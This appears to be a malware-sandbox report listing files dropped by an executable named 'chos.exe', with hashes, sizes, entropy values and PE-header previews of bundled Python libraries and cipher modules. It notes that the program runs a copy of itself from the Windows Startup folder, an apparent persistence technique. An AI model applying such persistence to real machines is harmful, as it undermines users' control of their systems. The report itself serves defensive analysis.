                                                                                                                                                                                                                                            Entropy (8bit):5.088249746074878
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
                                                                                                                                                                                                                                            MD5:EBEA27DA14E3F453119DC72D84343E8C
                                                                                                                                                                                                                                            SHA1:7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
                                                                                                                                                                                                                                            SHA-256:59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
                                                                                                                                                                                                                                            SHA-512:A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\RECORD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:CSV text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4557
                                                                                                                                                                                                                                            Entropy (8bit):5.714200636114494
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:QXVuEmegx01TQIvFCiq9H/H7vp88FxTXiJPkGJP4CWweXQHmnDpMI78IegK5EeZR:QXVxAbYkU4CWweXQHmnDpMeV2BvTRqQF
                                                                                                                                                                                                                                            MD5:44D352C4997560C7BFB82D9360F5985A
                                                                                                                                                                                                                                            SHA1:BE58C7B8AB32790384E4E4F20865C4A88414B67A
                                                                                                                                                                                                                                            SHA-256:783E654742611AF88CD9F00BF01A431A219DB536556E63FF981C7BD673070AC9
                                                                                                                                                                                                                                            SHA-512:281B1D939A560E6A08D0606E5E8CE15F086B4B45738AB41ED6B5821968DC8D764CD6B25DB6BA562A07018C271ABF17A6BC5A380FAD05696ADF1D11EE2C5749C8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:../../bin/wheel,sha256=cT2EHbrv-J-UyUXu26cDY-0I7RgcruysJeHFanT1Xfo,249..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-312.pyc,,..wheel/__pycache__/__main__.cpython-312.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-312.pyc,,..wheel/__pycache__/bdist_wheel.cpython-312.pyc,,..wheel/__pycache

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\WHEEL

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):81
                                                                                                                                                                                                                                            Entropy (8bit):4.672346887071811
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
                                                                                                                                                                                                                                            MD5:24019423EA7C0C2DF41C8272A3791E7B
                                                                                                                                                                                                                                            SHA1:AAE9ECFB44813B68CA525BA7FA0D988615399C86
                                                                                                                                                                                                                                            SHA-256:1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
                                                                                                                                                                                                                                            SHA-512:09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\entry_points.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):104
                                                                                                                                                                                                                                            Entropy (8bit):4.271713330022269
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
                                                                                                                                                                                                                                            MD5:6180E17C30BAE5B30DB371793FCE0085
                                                                                                                                                                                                                                            SHA1:E3A12C421562A77D90A13D8539A3A0F4D3228359
                                                                                                                                                                                                                                            SHA-256:AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
                                                                                                                                                                                                                                            SHA-512:69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\sqlite3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1540368
                                                                                                                                                                                                                                            Entropy (8bit):6.577233901213655
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24576:cmKZpHTv4iPI9FDgJNRs++l8GwLXSz4ih5Z5jWbsxuIl40OwumzuLxIhiE:0rJoDgJNRs+U8GwLXSMIZ5jWb0uIl48R
                                                                                                                                                                                                                                            MD5:7E632F3263D5049B14F5EDC9E7B8D356
                                                                                                                                                                                                                                            SHA1:92C5B5F96F1CBA82D73A8F013CBAF125CD0898B8
                                                                                                                                                                                                                                            SHA-256:66771FBD64E2D3B8514DD0CD319A04CA86CE2926A70F7482DDEC64049E21BE38
                                                                                                                                                                                                                                            SHA-512:CA1CC67D3EB63BCA3CE59EF34BECCE48042D7F93B807FFCD4155E4C4997DC8B39919AE52AB4E5897AE4DBCB47592C4086FAC690092CAA7AA8D3061FBA7FE04A2
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).0...(.......................................................P....`..............................................#...........`...............R.../...p..X...0...T..............................@............@..X............................text...9........0.................. ..`.rdata..,....@.......4..............@..@.data...`M...0...D..................@....pdata...............\..............@..@.rsrc........`.......8..............@..@.reloc..X....p.......B..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\unicodedata.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):709904
                                                                                                                                                                                                                                            Entropy (8bit):5.861739047785334
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
                                                                                                                                                                                                                                            MD5:0902D299A2A487A7B0C2D75862B13640
                                                                                                                                                                                                                                            SHA1:04BCBD5A11861A03A0D323A8050A677C3A88BE13
                                                                                                                                                                                                                                            SHA-256:2693C7EE4FBA55DC548F641C0CB94485D0E18596FFEF16541BD43A5104C28B20
                                                                                                                                                                                                                                            SHA-512:8CBEF5A9F2D24DA1014F8F1CCBDDD997A084A0B04DD56BCB6AC38DDB636D05EF7E4EA7F67A085363AAD3F43D45413914E55BDEF14A662E80BE955E6DFC2FECA3
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).B...f......P,..............................................<.....`.........................................P...X................................/..........p...T...........................0...@............`..h............................text....@.......B.................. ..`.rdata...?...`...@...F..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_ARC4.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):11264
                                                                                                                                                                                                                                            Entropy (8bit):4.640339306680604
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:dLklddyTHThob0q/tJRrlDfNYSOcqgYCWt:ZgcdZq/JJD6gRWt
                                                                                                                                                                                                                                            MD5:BCD8CAAF9342AB891BB1D8DD45EF0098
                                                                                                                                                                                                                                            SHA1:EE7760BA0FF2548F25D764F000EFBB1332BE6D3E
                                                                                                                                                                                                                                            SHA-256:78725D2F55B7400A3FCAFECD35AF7AEB253FBC0FFCDF1903016EB0AABD1B4E50
                                                                                                                                                                                                                                            SHA-512:8B6FB53AECB514769985EBFDAB1B3C739024597D9C35905E04971D5422256546F7F169BF98F9BAF7D9F42A61CFF3EE7A20664989D3000773BF5EDA10CB3A0C24
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^J.6?$.6?$.6?$.?G..2?$.dJ%.4?$.}G%.5?$.6?%..?$.dJ!.<?$.dJ .>?$.dJ'.5?$..J,.7?$..J$.7?$..J..7?$..J&.7?$.Rich6?$.........................PE..d...Y..f.........." ................P........................................p............`..........................................'......0(..d....P.......@...............`..(....!...............................!..8............ ...............................text............................... ..`.rdata..Z.... ......................@..@.data...H....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..(....`.......*..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_Salsa20.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13824
                                                                                                                                                                                                                                            Entropy (8bit):5.0194545642425075
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:4t/1nCuqaL0kt7AznuRmceS4lDFhAlcqgcLg:F/k1ACln4lDogcLg
                                                                                                                                                                                                                                            MD5:F19CB847E567A31FAB97435536C7B783
                                                                                                                                                                                                                                            SHA1:4C8BFE404AF28C1781740E7767619A5E2D2FF2B7
                                                                                                                                                                                                                                            SHA-256:1ECE1DC94471D6977DBE2CEEBA3764ADF0625E2203D6257F7C781C619D2A3DAD
                                                                                                                                                                                                                                            SHA-512:382DC205F703FC3E1F072F17F58E321E1A65B86BE7D9D6B07F24A02A156308A7FEC9B1A621BA1F3428FD6BB413D14AE9ECB2A2C8DD62A7659776CFFDEBB6374C
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...Z..f.........." ................P.....................................................`..........................................8......H9..d....`.......P..L............p..(....1...............................1..8............0...............................text...h........................... ..`.rdata..r....0......................@..@.data...H....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..(....p.......4..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_chacha20.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13312
                                                                                                                                                                                                                                            Entropy (8bit):5.037456384995606
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:st/1nCuqaL0ktPMn1ENe3erKr5br0YbsiDw6a9lkOcqgRGd:p/kpMIodrXbsiDS95gRGd
                                                                                                                                                                                                                                            MD5:DC14677EA8A8C933CC41F9CCF2BEDDC1
                                                                                                                                                                                                                                            SHA1:A6FB87E8F3540743097A467ABE0723247FDAF469
                                                                                                                                                                                                                                            SHA-256:68F081E96AE08617CF111B21EDED35C1774A5EF1223DF9A161C9445A78F25C73
                                                                                                                                                                                                                                            SHA-512:3ABA4CFCBBE4B350AB3230D488BD75186427E3AAAF38D19E0E1C7330F16795AD77FB6E26FF39AF29EAF4F5E8C42118CB680F90AFBFCA218AEDA64DC444675BA2
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...Z..f.........." ................P.....................................................`......................................... 8.......8..d....`.......P..d............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..(....p.......2..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_pkcs1_decode.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):14336
                                                                                                                                                                                                                                            Entropy (8bit):5.09191874780435
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:rMVsiXeqVb0lIb0Pj5Jdfpm68WZDInU282tacqgYLg:rM7ali0Pj5JxCaDuUlgYLg
                                                                                                                                                                                                                                            MD5:C09BB8A30F0F733C81C5C5A3DAD8D76D
                                                                                                                                                                                                                                            SHA1:46FD3BA87A32D12F4EE14601D1AD73B78EDC81D1
                                                                                                                                                                                                                                            SHA-256:8A1B751DB47CE7B1D3BD10BEBFFC7442BE4CFB398E96E3B1FF7FB83C88A8953D
                                                                                                                                                                                                                                            SHA-512:691AC74FAE930E9CEABE782567EFB99C50DD9B8AD607DD7F99A5C7DF2FA2BEB7EDFE2EBB7095A72DA0AE24E688FBABD340EAE8B646D5B8C394FEE8DDD5E60D31
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^:.6?T.6?T.6?T.?G..2?T.dJU.4?T.}GU.5?T.6?U..?T.dJQ.<?T.dJP.>?T.dJW.5?T..J\.7?T..JT.7?T..J..7?T..JV.7?T.Rich6?T.........................PE..d...X..f.........." ................P.....................................................`.........................................`8.......8..d....`.......P..(............p..(....1...............................1..8............0...............................text............................... ..`.rdata..6....0....... ..............@..@.data...x....@......................@....pdata..(....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..(....p.......6..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_aes.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):36352
                                                                                                                                                                                                                                            Entropy (8bit):6.541423493519083
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:f/UlZA5PUEllvxL/7v/iKBt5ByU0xGitqzSEkxGG7+tpKHb/LZ7fr52EkifcMxme:klcR7JriEbwDaS4j990th9VDBV
                                                                                                                                                                                                                                            MD5:0AB25F99CDAACA6B11F2ECBE8223CAD5
                                                                                                                                                                                                                                            SHA1:7A881B3F84EF39D97A31283DE6D7B7AE85C8BAE6
                                                                                                                                                                                                                                            SHA-256:6CE8A60D1AB5ADC186E23E3DE864D7ADF6BDD37E3B0C591FA910763C5C26AF60
                                                                                                                                                                                                                                            SHA-512:11E89EEF34398DF3B144A0303E08B3A4CAF41A9A8CA618C18135F561731F285F8CF821D81179C2C45F6EEB0E496D9DD3ECF6FF202A3C453C80AFEF8582D06C17
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^J.6?$.6?$.6?$.?G..2?$.dJ%.4?$.}G%.5?$.6?%..?$.dJ!.<?$.dJ .>?$.dJ'.5?$..J,.7?$..J$.7?$..J..7?$..J&.7?$.Rich6?$.........................PE..d...V..f.........." .....H...H......P.....................................................`.........................................p...........d...............................0......................................8............`...............................text...xG.......H.................. ..`.rdata.."6...`...8...L..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..0...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_aesni.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):15360
                                                                                                                                                                                                                                            Entropy (8bit):5.367749645917753
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:YiJBj5fq/Rk0kPLhOZ3UucCWuSKPEkA2bD9JXx03cqg5YUMLgs:/k1kTMZEjCWNaA2DTx0g5YUMLg
                                                                                                                                                                                                                                            MD5:B6EA675C3A35CD6400A7ECF2FB9530D1
                                                                                                                                                                                                                                            SHA1:0E41751AA48108D7924B0A70A86031DDE799D7D6
                                                                                                                                                                                                                                            SHA-256:76EF4C1759B5553550AB652B84F8E158BA8F34F29FD090393815F06A1C1DC59D
                                                                                                                                                                                                                                            SHA-512:E31FD33E1ED6D4DA3957320250282CFD9EB3A64F12DE4BD2DFE3410F66725164D96B27CAA34C501D1A535A5A2442D5F070650FD3014B4B92624EE00F1C3F3197
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.z.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...V..f.........." ......... ......P.....................................................`..........................................9......$:..d....`.......P...............p..(....1...............................1..8............0.. ............................text............................... ..`.rdata.......0......."..............@..@.data...8....@.......2..............@....pdata.......P.......4..............@..@.rsrc........`.......8..............@..@.reloc..(....p.......:..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_arc2.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):16384
                                                                                                                                                                                                                                            Entropy (8bit):5.41148259289073
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:w3d9FkHaz0EJvrj+CYuz7ucc9dG7otDr22KcqgOiewZjW:YkHEJzj+X6769lDzagO/w
                                                                                                                                                                                                                                            MD5:F14E1AA2590D621BE8C10321B2C43132
                                                                                                                                                                                                                                            SHA1:FD84D11619DFFDF82C563E45B48F82099D9E3130
                                                                                                                                                                                                                                            SHA-256:FCE70B3DAFB39C6A4DB85D2D662CB9EB9C4861AA648AD7436E7F65663345D177
                                                                                                                                                                                                                                            SHA-512:A86B9DF163007277D26F2F732ECAB9DBCA8E860F8B5809784F46702D4CEA198824FDEF6AB98BA7DDC281E8791C10EABA002ABDA6F975323B36D5967E0443C1E4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...W..f.........." ....."... ......P.....................................................`.........................................pI.......J..d....p.......`..................(....B...............................B..8............@...............................text...( .......".................. ..`.rdata..<....@.......&..............@..@.data...H....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..(............>..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_blowfish.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):20992
                                                                                                                                                                                                                                            Entropy (8bit):6.041302713678401
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:kUX0JfbRz5MLZA0nmwzMDYpJgLa0Mp8NDBcxgprAM:6NbRzWXwDqgLa1uBfP
                                                                                                                                                                                                                                            MD5:B127CAE435AEB8A2A37D2A1BC1C27282
                                                                                                                                                                                                                                            SHA1:2A7BF8BF7F24B2381370BA6B41FB640EE42BDCCD
                                                                                                                                                                                                                                            SHA-256:538B1253B5929254ED92129FA0957DB26CDDF34A8372BA0BF19D20D01549ADA3
                                                                                                                                                                                                                                            SHA-512:4FE027E46D5132CA63973C67BD5394F2AC74DD4BBCFE93CB16136FAB4B6BF67BECB5A0D4CA359FF9426DA63CA81F793BBF1B79C8A9D8372C53DCB5796D17367E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...W..f.........." .....$...0......P.....................................................`.........................................0Y.......Y..d............p..................0....Q...............................R..8............@...............................text....".......$.................. ..`.rdata.......@... ...(..............@..@.data...H....`.......H..............@....pdata.......p.......J..............@..@.rsrc................N..............@..@.reloc..0............P..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cast.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):24576
                                                                                                                                                                                                                                            Entropy (8bit):6.530656045206549
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:cEDwUBi9SPu71omZXmrfXA+UA10ol31tuXVYdAgYj:FsUBXmoEXmrXA+NNxWFYfo
                                                                                                                                                                                                                                            MD5:2E15AA6F97ED618A3236CFA920988142
                                                                                                                                                                                                                                            SHA1:A9D556D54519D3E91FA19A936ED291A33C0D1141
                                                                                                                                                                                                                                            SHA-256:516C5EA47A7B9A166F2226ECBA79075F1A35EFFF14D87E00006B34496173BB78
                                                                                                                                                                                                                                            SHA-512:A6C75C4A285753CC94E45500E8DD6B6C7574FB7F610FF65667F1BEC8D8B413FC10514B7D62F196C2B8D017C308C5E19E2AEF918021FA81D0CB3D8CED37D8549A
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...W..f.........." .....$...>............................................................`..........................................h.......i..d...............................0....a...............................a..8............@...............................text....#.......$.................. ..`.rdata..:-...@.......(..............@..@.data...H....p.......V..............@....pdata...............X..............@..@.rsrc................\..............@..@.reloc..0............^..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cbc.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12288
                                                                                                                                                                                                                                            Entropy (8bit):4.7080156150187396
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:lF/1n7Guqaj0ktfEJwX1fYwCODR3lncqg0Gd6l:RGXkJEm1feODxDg0Gd6
                                                                                                                                                                                                                                            MD5:40390F2113DC2A9D6CFAE7127F6BA329
                                                                                                                                                                                                                                            SHA1:9C886C33A20B3F76B37AA9B10A6954F3C8981772
                                                                                                                                                                                                                                            SHA-256:6BA9C910F755885E4D356C798A4DD32D2803EA4CFABB3D56165B3017D0491AE2
                                                                                                                                                                                                                                            SHA-512:617B963816838D649C212C5021D7D0C58839A85D4D33BBAF72C0EC6ECD98B609080E9E57AF06FA558FF302660619BE57CC974282826AB9F21AE0D80FBAA831A1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...X..f.........." ................P.....................................................`..........................................8.......8..d....`.......P..X............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..(....p......................@..B................................................................................................................................................................................................................................................

